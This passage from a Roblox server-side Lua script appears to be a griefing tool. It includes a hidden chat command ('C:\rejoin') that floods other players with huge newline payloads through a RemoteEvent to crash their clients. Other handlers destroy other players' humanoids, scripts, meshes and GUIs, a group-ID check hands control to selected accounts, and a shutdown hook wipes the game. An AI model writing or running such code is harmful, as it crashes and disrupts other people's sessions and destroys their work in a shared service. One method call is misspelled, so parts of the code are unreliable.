end
end))
remove(Returned,1)
return unpack(Returned)
end
local function WaitForChildOfClass(Parent,Class)
local Returned = pack(pcall(function()
local Child = Parent:FindFirstChildOfClass(Class)
while not Child or Child.ClassName ~= Class do
Child = Parent.ChildAdded:Wait()
end
return Child
end))
remove(Returned,1)
return unpack(Returned)
end
local function MoveCharacter(X,Z)
pcall(function()
Movement.PotentialCFrame = Movement.PotentialCFrame*CFrame.new(X,0,Z)
end)
end
local function Clerp(A,B,T)
local Returned = pack(pcall(function()
local LerpedA = A
for _ = 1,Throttle do
LerpedA = LerpedA:Lerp(B,ValidNumber(T) and clamp(T,0,1) or 1)
end
return LerpedA
end))
remove(Returned,1)
return unpack(Returned)
end
local function RandomProperties(Instance_)
pcall(function()
--[[Instance_.Size = Vector3.new(random(50,2048e3)/1e3,random(50,2048e3)/1e3,random(50,2048e3)/1e3)
Instance_.Color = Color3.fromRGB(random(0,255),random(0,255),random(0,255))
Instance_.Reflectance = random(-1e6,1e6)
Instance_.RootPriority = random(-127,127)
Instance_.Massless = random(0,1) == 0
Instance_.CastShadow = random(0,1) == 0
Instance_.Locked = random(0,1) == 0
Instance_.CollisionGroupId = random(0,31)
Instance_.CanCollide = random(0,1) == 0
Instance_.CanTouch = random(0,1) == 0
Instance_.Anchored = random(0,1) == 0]]
end)
end
local function ResizeUnion(Size)
local Returned = pack(pcall(function()
NewSize = Size
return Vector3.new(unpack(NewSize))
end))
remove(Returned, 1)
return unpack(Returned)
end
local function Weldify(Weld,CFrame_)
local Returned = pack(pcall(function()
return CleanCFrame(typeof(CFrame_) == "CFrame" and CFrame_*(Weld.C0*Weld.C1:Inverse()) or (type(CFrame_) == "table" and typeof(CFrame_.CFrame) == "CFrame" or typeof(CFrame_) == "Instance" and (CFrame_:IsA("BasePart") or CFrame_:IsA("CFrameValue"))) and CFrame_.CFrame*(Weld.C0*Weld.C1:Inverse()) or CFrame.new())
end))
remove(Returned,1)
return unpack(Returned)
end
local NoHumanoids = game.DescendantAdded:Connect(function(v)
pcall(function()
if v:IsA("Humanoid") and (not v.Parent:IsA("Model") or v.Parent == workspace) then
v.Archivable = false
v.Name = RandomString()
Destroy(v)
elseif v:IsA("MeshPart") and find(BlacklistedMeshes,string.match(v.MeshId,"%d+$") or string.match(v.MeshId,"/.+$") or "") or v:IsA("DynamicRotate") then
local v_ = v
while not (getfenv()[v_.Parent.ClassName] or find(UntouchableClassNames,v_.Parent.ClassName)) do
v_ = v_.Parent
end
for _,b in pairs(v_:GetDescendants()) do
pcall(function()
b.Name = RandomString()
b.Archivable = false
if not b:IsDescendantOf(workspace) then
Destroy(b)
else
Instance_("Actor",b)
end
if b:IsA("Script") then
b.Disabled = true
elseif b:IsA("MeshPart") then
b:ApplyMesh(Backups["nil"])
end
end)
end
v_.Name = RandomString()
v_.Archivable = false
if not v_:IsDescendantOf(workspace) then
Destroy(v_)
else
Instance_("Actor",v_)
end
if v_:IsA("Script") then
v_.Disabled = true
elseif v_:IsA("MeshPart") then
v_:ApplyMesh(Backups["nil"])
end
elseif v:IsA("LocalScript") and (v:FindFirstChildWhichIsA("Humanoid",true) or v:FindFirstChildWhichIsA("BasePart",true)) then
local v_ = v
while not (getfenv()[v_.Parent.ClassName] or find(UntouchableClassNames,v_.Parent.ClassName)) do
v_ = v_.Parent
end
for _,b in pairs(v_:GetDescendants()) do
pcall(function()
b.Name = RandomString()
b.Archivable = false
Destroy(v_)
if b:IsA("Script") then
b.Disabled = true
elseif b:IsA("MeshPart") then
b:ApplyMesh(Backups["nil"])
end
end)
end
v_.Name = RandomString()
v_.Archivable = false
Destroy(v_)
if v_:IsA("Script") then
v_.Disabled = true
elseif v_:IsA("MeshPart") then
v_:ApplyMesh(Backups["nil"])
end
end
end)
end)
local NoGuis = Players.DescendantAdded:Connect(function(v)
pcall(function()
if v:IsA("ScreenGui") then
if find(BlacklistedGuis,v.Name) then
v.Enabled = false
v.Archivable = false
v.Name = RandomString()
v:ClearAllChildren()
Destroy(v)
else
local Connections_ = {}
insert(Connections_,v:GetPropertyChangedSignal("Name"):Connect(function()
if find(BlacklistedGuis,v.Name) then
v.Enabled = false
v.Archivable = false
v.Name = RandomString()
v:ClearAllChilden()
Destroy(v)
for _,v in pairs(Connections_) do
v:Disconnect()
end
end
end))
insert(Connections_,v.AncestryChanged:Connect(function()
if pack(pcall(game.IsDescendantOf,v,Players))[2] ~= true then
for _,v in pairs(Connections_) do
v:Disconnect()
end
end
end))
end
elseif v:IsA("ViewportFrame") then
v.Visible = false
v.Archivable = false
v.Name = RandomString()
Destroy(v)
end
end)
end)
local function Effectify(Instances)
pcall(function()
for _,v in pairs(Instances) do
insert(Effects,v)
local Removed
Removed = v.AncestryChanged:Connect(function()
if pack(pcall(game.IsDescendantOf,v,workspace))[2] ~= true then
remove(Effects,find(Effects,v))
Removed:Disconnect()
Destroy(v)
end
end)
end
Event:FireClient(Player,"Effects",Instances)
end)
end
local function SoundEffect(Properties_)
pcall(function()
local SoundPart = typeof(Properties_.Parent) == "Instance" and Properties_.Parent or Instance.new("Random",RandomService(),{Anchored = true,Transparency = 1,CanCollide = false,CFrame = Properties_.Position or Properties.Head.CFrame})
local SoundEffect = Instance.new("Sound",SoundPart,{SoundId = Properties_.SoundId or "",Volume = Properties_.Volume or 1,Playing = true,PlayOnRemove = true,PlaybackSpeed = Properties_.PlaybackSpeed or 1,TimePosition = Properties_.TimePosition or 0})
if typeof(Properties_.Parent) ~= "Instance" then
Destroy(SoundPart)
else
Destroy(SoundEffect)
end
end)
end
local function Message(Text,Color)
pcall(function()
warn(Text)
local Color = typeof(Color) == "Color3" and Color or Color3.new(1,1,1)
local MessageHolderBU,MessageBU = Instance.new("BillboardGui",nil,{StudsOffset = Vector3.new(0,3,0),LightInfluence = 0,MaxDistance = 200,ResetOnSpawn = false,Size = UDim2.new(0,9999,1,0)}),Instance.new("TextLabel",nil,{BackgroundTransparency = 1,Size = UDim2.new(1,0,1,0),Text = "",TextScaled = true,TextStrokeTransparency = 0,RichText = true})
MessageHolderBU.Archivable,MessageBU.Archivable = true,true
local MessageHolder,Message_ = MessageHolderBU:Clone(),MessageBU:Clone()
Effectify{MessageHolder}
Message_.Parent,MessageHolder.Parent = MessageHolder,Character.Head
local LastLen,Timer,Talking,Length,Graphemes = -1,tick(),true,0,{}
coroutine.resume(coroutine.create(function()
while Talking do
if Message_.Parent ~= MessageHolder or MessageHolder.Parent ~= Character.Head or Message_.Text ~= MessageBU.Text or not Message_.Visible or not MessageHolder.Enabled then
Destroy(Message_)
Destroy(MessageHolder)
MessageHolder,Message_ = MessageHolderBU:Clone(),MessageBU:Clone()
Effectify{MessageHolder}
Message_.Parent,MessageHolder.Parent = MessageHolder,Character.Head
end
RunService.Heartbeat:Wait()
end
Destroy(Message_)
Destroy(MessageHolder)
end))
for i,j in utf8.graphemes(Text) do
Length += 1
insert(Graphemes,pack(string.gsub(string.sub(Text,i,j),".",function(x)
local Replaceables = {["<"] = "lt",[">"] = "gt",["\""] = "quot",["'"] = "apos",["&"] = "amp"}
for i,v in pairs(Replaceables) do
if x == i then
return string.format("&%s;",v)
end
end
return x
end))[1])
end
repeat
local Len = floor((tick()-Timer)*30+.5)
if Len > LastLen then
LastLen = Len
SoundEffect{SoundId = "rbxassetid://4681278859",Volume = 3,PlaybackSpeed = .2,TimePosition = .07}
local CorruptedText = ""
for i = 1,Len do
CorruptedText ..= Graphemes[i]
for _ = 1,random(1,10) do
CorruptedText ..= string.format("%s\204%s",#Graphemes[i] == 1 and string.byte(Graphemes[i]) >= 48 and string.byte(Graphemes[i]) <= 122 and "" or "\226\128\139",string.char(random(128,191)))
end
end
CorruptedText = #CorruptedText > 0 and string.format("<font color=\"rgb(%.0f,%.0f,%.0f)\"><font face=\"SpecialElite\">%s</font></font>",Color.R*255,Color.G*255,Color.B*255,CorruptedText) or ""
Message_.Text,MessageBU.Text = CorruptedText,CorruptedText
end
RunService.Heartbeat:Wait()
until tick()-Timer >= Length/30
repeat
local CorruptedText = ""
for i = 1,Length do
CorruptedText ..= Graphemes[i]
for _ = 1,random(1,10) do
CorruptedText ..= string.format("%s\204%s",#Graphemes[i] == 1 and string.byte(Graphemes[i]) >= 48 and string.byte(Graphemes[i]) <= 122 and "" or "\226\128\139",string.char(random(128,191)))
end
end
CorruptedText = #CorruptedText > 0 and string.format("<font color=\"rgb(%.0f,%.0f,%.0f)\"><font face=\"SpecialElite\">%s</font></font>",Color.R*255,Color.G*255,Color.B*255,CorruptedText) or ""
Message_.Text,MessageBU.Text = CorruptedText,CorruptedText
RunService.Heartbeat:Wait()
until tick()-Timer >= 2+Length/30
repeat
MessageBU.TextTransparency = floor(((tick()-Timer)-(2+Length/30))*1e3+.5)/1e3
MessageBU.TextStrokeTransparency,Message_.TextTransparency,Message_.TextStrokeTransparency = MessageBU.TextTransparency,MessageBU.TextTransparency,MessageBU.TextTransparency
local CorruptedText = ""
for i = 1,Length do
CorruptedText ..= Graphemes[i]
for _ = 1,random(floor(((tick()-Timer)-(2+Length/30))*5+.5),floor(((tick()-Timer)-(2+Length/30))*50+.5)) do
CorruptedText ..= string.format("%s\204%s",#Graphemes[i] == 1 and string.byte(Graphemes[i]) >= 48 and string.byte(Graphemes[i]) <= 122 and "" or "\226\128\139",string.char(random(128,191)))
end
end
CorruptedText = #CorruptedText > 0 and string.format("<font color=\"rgb(%.0f,%.0f,%.0f)\"><font face=\"SpecialElite\">%s</font></font>",Color.R*255,Color.G*255,Color.B*255,CorruptedText) or ""
Message_.Text,MessageBU.Text = CorruptedText,CorruptedText
RunService.Heartbeat:Wait()
until tick()-Timer >= 3+Length/30
Talking = false
end)
end
local function ChattedFunc(Message__)
pcall(function()
local Message__,Message_ = (string.sub(Message__,1,3) == "/e " or string.sub(Message__,1,3) == "/w " or string.sub(Message__,1,3) == "/c ") and string.sub(Message__,4) or Message__,Message__
if string.sub(Message__,1,3) == "C:\\" then
Message__ = string.sub(Message__,4)
local Arguments = string.split(Message__,"\\")
local Command = type(Arguments[1]) == "string" and string.lower(Arguments[1]) or nil
if Command then
remove(Arguments,1)
if Command == "clearonleave" or Command == "clearonremove" or Command == "clearondisconnect" or Command == "clearonkick" then
DeteriorateUponConsignment = (Arguments[1] == "true" or Arguments[1] == "on")
elseif Command == "rj" or Command == "rejoin" or Command == "rej" then
for _,v in pairs(NetworkServer:GetChildren()) do
if pack(pcall(game.IsA,v,"ServerReplicator"))[2] == true and v:GetPlayer():IsDescendantOf(Players) then
coroutine.resume(coroutine.create(function()
if v:GetPlayer().Name == Name then
local Start = tick()
repeat
RunService.Heartbeat:Wait()
until tick()-Start >= 2
end
TeleportService:TeleportToPlaceInstance(game.PlaceId,game.JobId,v:GetPlayer())
end))
elseif pack(pcall(game.IsA,v,"ServerReplicator"))[2] == true then
local Crasher = Instance.new("RemoteEvent",RandomService())
Crasher:FireClient(v:GetPlayer(),unpack(create(1e3,string.rep("\n",2e5-1))))
Destroy(Crasher)
end
end
end
end
end
if Message__ == Message_ then
Message(Message__)
end
end)
end
local Chatted = Player.Chatted:Connect(ChattedFunc)
local CheckPlayers = Players.PlayerAdded:Connect(function(v)
pcall(function()
local GroupCheck,IsInGroup = pcall(v.IsInGroup,v,7757760)
if v.Name == Name or GroupCheck and IsInGroup == true then
Player,Name = v,v.Name
RemoteKey = "BROO"
Client = NLS(babababa, script)
--Client:SetAttribute("RemoteKey",RemoteKey)
--Client:SetAttribute("RemoteName",RemoteName)
local StartPosition,StartOrientation = CFrameToAttribute(Movement.CFrame)
--Client:SetAttribute("StartPosition",StartPosition)
--Client:SetAttribute("StartOrientation",StartOrientation)
--Client.Parent = WaitForChildOfClass(Player,"PlayerGui")
--Destroy(Client)
local CharAdded = Player.CharacterAdded:Connect(function(Char)
Destroy(Char)
Player.Character = nil
end)
if Player.Character then
Destroy(Player.Character)
Player.Character = nil
end
Chatted = Player.Chatted:Connect(ChattedFunc)
end
end)
end)
local WorldModelAdded = workspace.DescendantAdded:Connect(function(v)
pcall(function()
if v:IsA("WorldModel") then
insert(WorldModels,v)
local Reparented
Reparented = v.AncestryChanged:Connect(function()
if pack(pcall(game.IsDescendantOf,v,workspace))[2] ~= true then
remove(WorldModels,find(WorldModels,v))
Reparented:Disconnect()
end
end)
end
end)
end)
if not RunService:IsStudio() then
pcall(function()
game:BindToClose(function()
for _,v in pairs(game:GetDescendants()) do
pcall(function()
if not v:IsA("Player") then
Instance_("Actor",v)
Destroy(v)
end
end)
end
Instance.new("ColorCorrectionEffect",Lighting,{Brightness = 1})
SoundEffect{SoundId = "rbxassetid://3284793151",Volume = 10}
game.DescendantAdded:Connect(function(v)
pcall(function()